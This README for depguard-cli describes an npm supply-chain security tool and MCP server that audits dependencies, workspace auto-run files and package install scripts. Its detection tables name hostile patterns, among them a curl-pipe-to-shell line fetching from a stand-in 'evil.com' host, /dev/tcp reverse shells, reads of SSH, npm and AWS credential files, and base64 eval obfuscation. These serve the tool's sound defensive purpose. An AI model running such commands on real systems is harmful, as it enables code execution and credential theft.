depguard-cli

MCP security server for AI coding agents. 14 tools — workspace auto-exec audit (defends against fake-interview / take-home-test malware), static code analysis, pre-install guardian, AI hallucination guard, dead-dependency detection, vulnerability audit, remediation planner, CycloneDX 1.6 SBOM, and SARIF v2.1.0 output for GitHub Code Scanning. Zero runtime dependencies. Works with Claude, Cursor, Windsurf, and any MCP client.

![npm](https://www.npmjs.com/package/depguard-cli) ![license](LICENSE)

Why depguard

I work on industrial software where every event has to be logged and recoverable — customers trust the system because the audit trail makes the system trustworthy. When I started wiring AI coding agents into our internal stack, I realised the npm ecosystem treats supply-chain integrity as someone else's problem: install 1,000 packages, hope for the best. depguard brings the same auditability mindset to JavaScript dependencies — verify before installing, audit what's already there, generate an SBOM your security team can actually use.

Zero runtime dependencies — because a security tool that pulls in 200 transitive packages is the joke that writes itself.

Install

npm install -g depguard-cli      # or use directly with npx
npx depguard-cli audit express

MCP server (primary use case)

depguard exposes 14 MCP tools over stdio. Add it to any MCP-compatible client and your AI agent calls them automatically when it's about to install something, audit a project, or review code.

Setup — Claude Code one-liner:

claude mcp add --transport stdio depguard -- npx -y depguard-cli --mcp

Setup — generic MCP config (Claude Desktop, Cursor, Windsurf, Continue.dev, Cline, Roo Code):

{
  "mcpServers": {
    "depguard": {
      "command": "npx",
      "args": ["-y", "depguard-cli", "--mcp"]
    }
  }
}

The 14 tools

| Tool | Use it when | |------|-------------| | depguard_guard | About to install package Y → pre-install verify + audit + allow/warn/block | | depguard_should_use | Need functionality X → recommend install / use-native / write-from-scratch | | depguard_audit_workspace | Just cloned a repo, before opening it in any IDE. Lists files that auto-execute on workspace open (VS Code tasks runOn:folderOpen, devcontainer lifecycle, .envrc, JetBrains run configs, Makefile, .gitattributes, committed git hooks). Defends against fake-interview / take-home-test malware. | | depguard_audit_project | Audit a whole project — direct deps, transitives via lockfile, packageManager field | | depguard_remediate | "100 vulnerabilities, which 5 direct deps do I bump?" — groups transitives by parent, sorted by severity weight | | depguard_audit | Deep dive on one package (vulnerabilities + static code analysis + install scripts) | | depguard_audit_bulk | Compare A vs B vs C in one call | | depguard_audit_deep | Full transitive tree audit for one package | | depguard_review | AI code review — detect debris left by AI agents (console.logs, empty catch, broken imports, orphan files) | | depguard_sweep | Find unused dependencies in a project | | depguard_search | Search npm by keywords, ranked by depguard score | | depguard_score | Score 0-100 for one package | | depguard_verify | AI hallucination guard — does this package exist? Is it a typosquat? | | depguard_sbom | Generate a CycloneDX 1.6 SBOM (EU CRA, US EO 14028, SOC 2, FedRAMP) |

Every MCP response includes a tokenSavings field that quantifies the LLM-tokens saved vs equivalent manual research:

"tokenSavings": {
  "responseTokens": 47,
  "manualEstimate": 11100,
  "saved": 11053,
  "percentSaved": 100,
  "manualSteps": [
    "WebSearch: '{package} npm quality maintenance' (~800 tokens)",
    "WebFetch: npm registry page (~3000 tokens)",
    "WebFetch: GitHub repo for activity/stars (~3000 tokens)",
    "WebSearch: '{package} vulnerabilities' (~800 tokens)",
    "WebFetch: advisories page (~3000 tokens)",
    "Reasoning: compute weighted score (~500 tokens)"
  ]
}

Automatic, no configuration. Lets teams quantify the LLM cost reduction of routing dependency questions through depguard instead of free-text web research.

CLI

depguard-cli audit <package[@version]> [--target-license MIT] [--json|--format sarif]
depguard-cli audit-project <path/package.json> [--include-dev] [--json|--format sarif]
depguard-cli audit-workspace [path] [--json|--format sarif]
depguard-cli audit-deep <package> [--json]
depguard-cli guard <package> [--threshold 60] [--block] [--json]
depguard-cli should-use <intent...> [--threshold 60] [--json]
depguard-cli sweep [path] [--include-dev] [--json]
depguard-cli review [path] [--full] [--json]
depguard-cli sbom <path/package.json> [--include-vex] [--include-dev] [-o out.json]
depguard-cli remediate <path/package.json> [--json]
depguard-cli search <keywords...> [--limit 10] [--json]
depguard-cli score <package> [--target-license MIT] [--json]
depguard-cli stats [--json]

Pre-install guardian in action:

$ depguard-cli guard expresss
[WARN] expresss
  Possible typosquat of: express
  Score: 45/100 is below threshold 60

$ depguard-cli guard ai-made-up-package
[BLOCK] ai-made-up-package
  Package does NOT exist on npm!

GitHub Code Scanning (SARIF v2.1.0)

audit, audit-project, and audit-workspace accept --format sarif and emit SARIF v2.1.0 with GHSA-stable rule IDs (depguard/vuln/GHSA-…), CVSS-propagated severity, and stable partialFingerprints for dedup across runs.

# .github/workflows/depguard.yml
- name: Pre-open workspace audit
  run: npx -y depguard-cli audit-workspace . --format sarif -o workspace.sarif || true
- name: Project dependency audit
  run: npx -y depguard-cli audit-project ./package.json --format sarif -o project.sarif || true
- uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: |
      workspace.sarif
      project.sarif

API

import { audit, auditProject, sweep, guard, generateSBOM, auditToSarif } from 'depguard-cli'

const report = await audit('express', 'MIT')
report.vulnerabilities.total     // 0
report.securityFindings          // SecurityFinding[] (static code analysis)
report.licenseCompatibility.compatible // true

const project = await auditProject('./package.json', { includeDevDependencies: true })
project.summary               // { critical: 0, high: 2, moderate: 5, low: 3 }
project.transitiveSummary     // { totalDeps: 800, vulnerable: 12, ... }
project.packageManagerAudit   // audit of `packageManager: yarn@4.5.3`

const sweepResult = await sweep('.', { includeDevDependencies: true })
sweepResult.unused              // [{ name: 'lodash', estimatedSizeKB: 1400, ... }]
sweepResult.estimatedSavingsKB  // 2450

const decision = await guard('expresss')
decision.possibleTyposquat  // true
decision.similarTo          // ["express"]
decision.decision           // "warn"

const bom = await generateSBOM('./package.json', { includeVex: true })
bom.specVersion             // "1.6"
bom.vulnerabilities         // [{ id: "GHSA-...", ratings: [...], affects: [...] }]

What depguard checks

Scoring

Each package is scored 0-100 across five dimensions, with thresholds tuned for AI-agent decision-making:

| Dimension | Weight | What it measures | |-----------|--------|------------------| | Security | 30% | CVEs, advisories, static code analysis findings | | Maintenance | 25% | Last publish, version count, deprecation | | Popularity | 20% | Weekly downloads (log scale) | | License | 15% | Compatibility with your project's target license | | Dependencies | 10% | Dependency count, install scripts |

Decisions (shouldUse): >= 60 → install, 40-59 → caution, < 40 → write from scratch.

Static-analysis caps the security score regardless of popularity — this is deliberate: a wildly popular package with a credential-stealing payload still loses.

| Worst finding | Security score capped at | |---------------|---------------------------| | Critical (e.g. malware, reverse shell) | 20/100 | | High (e.g. obfuscation, env-var exfil) | 45/100 | | None | unrestricted |

Pre-install guardian

Three sequential checks before npm install: (1) does the package exist on npm? (2) is the name a typosquat — Levenshtein distance against 100+ top packages? (3) full security audit. Used as the recommended MCP entry point for AI agents.

Install script analysis

depguard statically pattern-matches preinstall / install / postinstall scripts. Nothing is executed.

| Pattern | Severity | Example | |---------|----------|---------| | Remote code execution | Critical | curl evil.com/payload.sh \| sh | | Reverse shells | Critical | /dev/tcp/ connections | | Credential file access | Critical | ~/.ssh/id_rsa, ~/.npmrc, ~/.aws | | Sensitive env vars | Critical | $NPM_TOKEN, $AWS_SECRET | | Shell typosquatting | Critical | /bin/ssh instead of /bin/sh | | Obfuscated code | High | eval(Buffer.from(..., "base64")) | | Process spawning | High | child_process, exec(), spawn() |

Static code analysis (tarball scan)

depguard downloads the package tarball, extracts JS files, and scans for 18+ malware patterns across 6 categories:

| Category | Severity | What it detects | |----------|----------|-----------------| | malware | Critical | Eval of decoded payloads, reverse shells, crypto-mining | | data-exfiltration | Critical/High | JSON.stringify(process.env), credential file reads, dynamic fetch URLs | | code-execution | High | eval(), new Function(), child_process.exec/spawn | | obfuscation | High/Medium | Long hex/unicode strings, base64 payloads, minified source in non-.min.js files | | unexpected-behavior | High/Medium | Network calls in a "formatter" package, FS access in a "date utility" | | supply-chain | Critical | Typosquatting patterns in install scripts |

Behavioral mismatch compares the package's stated purpose (description + keywords) against detected runtime behavior. A "string formatter" that makes network calls is flagged with a rich SecurityFinding (title, explanation, evidence, file, recommendation).

Dead-dependency detection

sweep scans .js/.ts/.mjs/.cjs/.jsx/.tsx for import / require / export from, recognises config-only dependencies (eslint, prettier, jest, tailwind, …), detects binaries used in npm scripts, pairs @types/* with their runtime peer, and marks untraced devDependencies as "maybe-unused" instead of "unused". Reports estimated disk savings.

Native-alternative advisor

should_use checks for native Node.js APIs before recommending packages — fetch (18+), crypto.randomUUID() (19+), structuredClone() (17+), and 20+ more. Each comes with example code and the minimum Node version.

Fix suggestions

Every vulnerable result includes a fixSuggestions array with currentVersion, fixVersion, and action: 'upgrade' | 'no-fix-available'. depguard_remediate aggregates these and groups vulnerable transitives by the direct dep that pulls them in, sorted by severity weight.

License compatibility

Permissive-to-copyleft hierarchy: Public Domain → Permissive (MIT, ISC, BSD, Apache-2.0) → Weak Copyleft (LGPL, MPL) → Strong Copyleft (GPL) → Network (AGPL). A dependency is compatible if its license is equally or more permissive than the target license.

SBOM (CycloneDX 1.6)

Native CycloneDX 1.6 generation against the public JSON Schema — no @cyclonedx/cyclonedx-library runtime dependency. Output is consumed unchanged by Dependency-Track, Trivy, Grype, and OWASP DT.

depguard-cli sbom ./package.json -o sbom.cdx.json
depguard-cli sbom ./package.json --include-vex --include-dev -o sbom.cdx.json

Suitable for EU Cyber Resilience Act, US Executive Order 14028 / OMB M-22-18, SOC 2, FedRAMP, and supplier procurement. PURLs follow the Package URL spec. SHA-512 integrity hashes are extracted from package-lock.json and converted from base64 to hex per the CycloneDX schema. With --include-vex, advisories are inlined with CVSS ratings and patched versions.

Data, privacy & performance

Two advisory databases, deduplicated. Each advisory is filtered to the installed version range (no noise from advisories that don't actually affect you) and tagged with its source field.

| Source | What it catches | |--------|----------------| | npm Registry | npm audit advisories | | GitHub Advisory DB | GHSAs, often not in npm |

Everything stays local. No telemetry, no usage reporting, nothing sent anywhere. Audit results are cached in memory (5 min TTL) and on disk under ~/.depguard/cache/ (24h TTL); the cache is cleaned on startup.

GitHub token (optional). Set GITHUB_TOKEN (no scopes needed — identification only) to raise the GitHub Advisory API rate limit from 60/h to 5,000/h. If gh CLI or GitHub Actions already exposes one, depguard picks it up automatically.

About

Design principles. Zero runtime dependencies. Never throws on network errors — returns degraded results with warnings. TypeScript strict. 100% offline tests. False-positive aversion is a hard constraint for every detection rule — depguard is a security tool, and a security tool with poor precision destroys its own trust.

Development.

npm test          # 409 offline tests
npm run check     # version + build + lint + test + audit:security (gates publish)

Author. Jorge Morais (jorgemopanc.com · LinkedIn) — Tech Lead at Balanças Marques in Braga, Portugal, building edge-to-cloud systems for industrial operations. Issues, PRs, and bug reports welcome. If depguard saves you from a malicious install or unblocks a compliance audit and you'd like to support the project, GitHub Sponsors is the cleanest way — no expectations, the tool is free and will stay so.

License. Apache-2.0 — see LICENSE.

depguard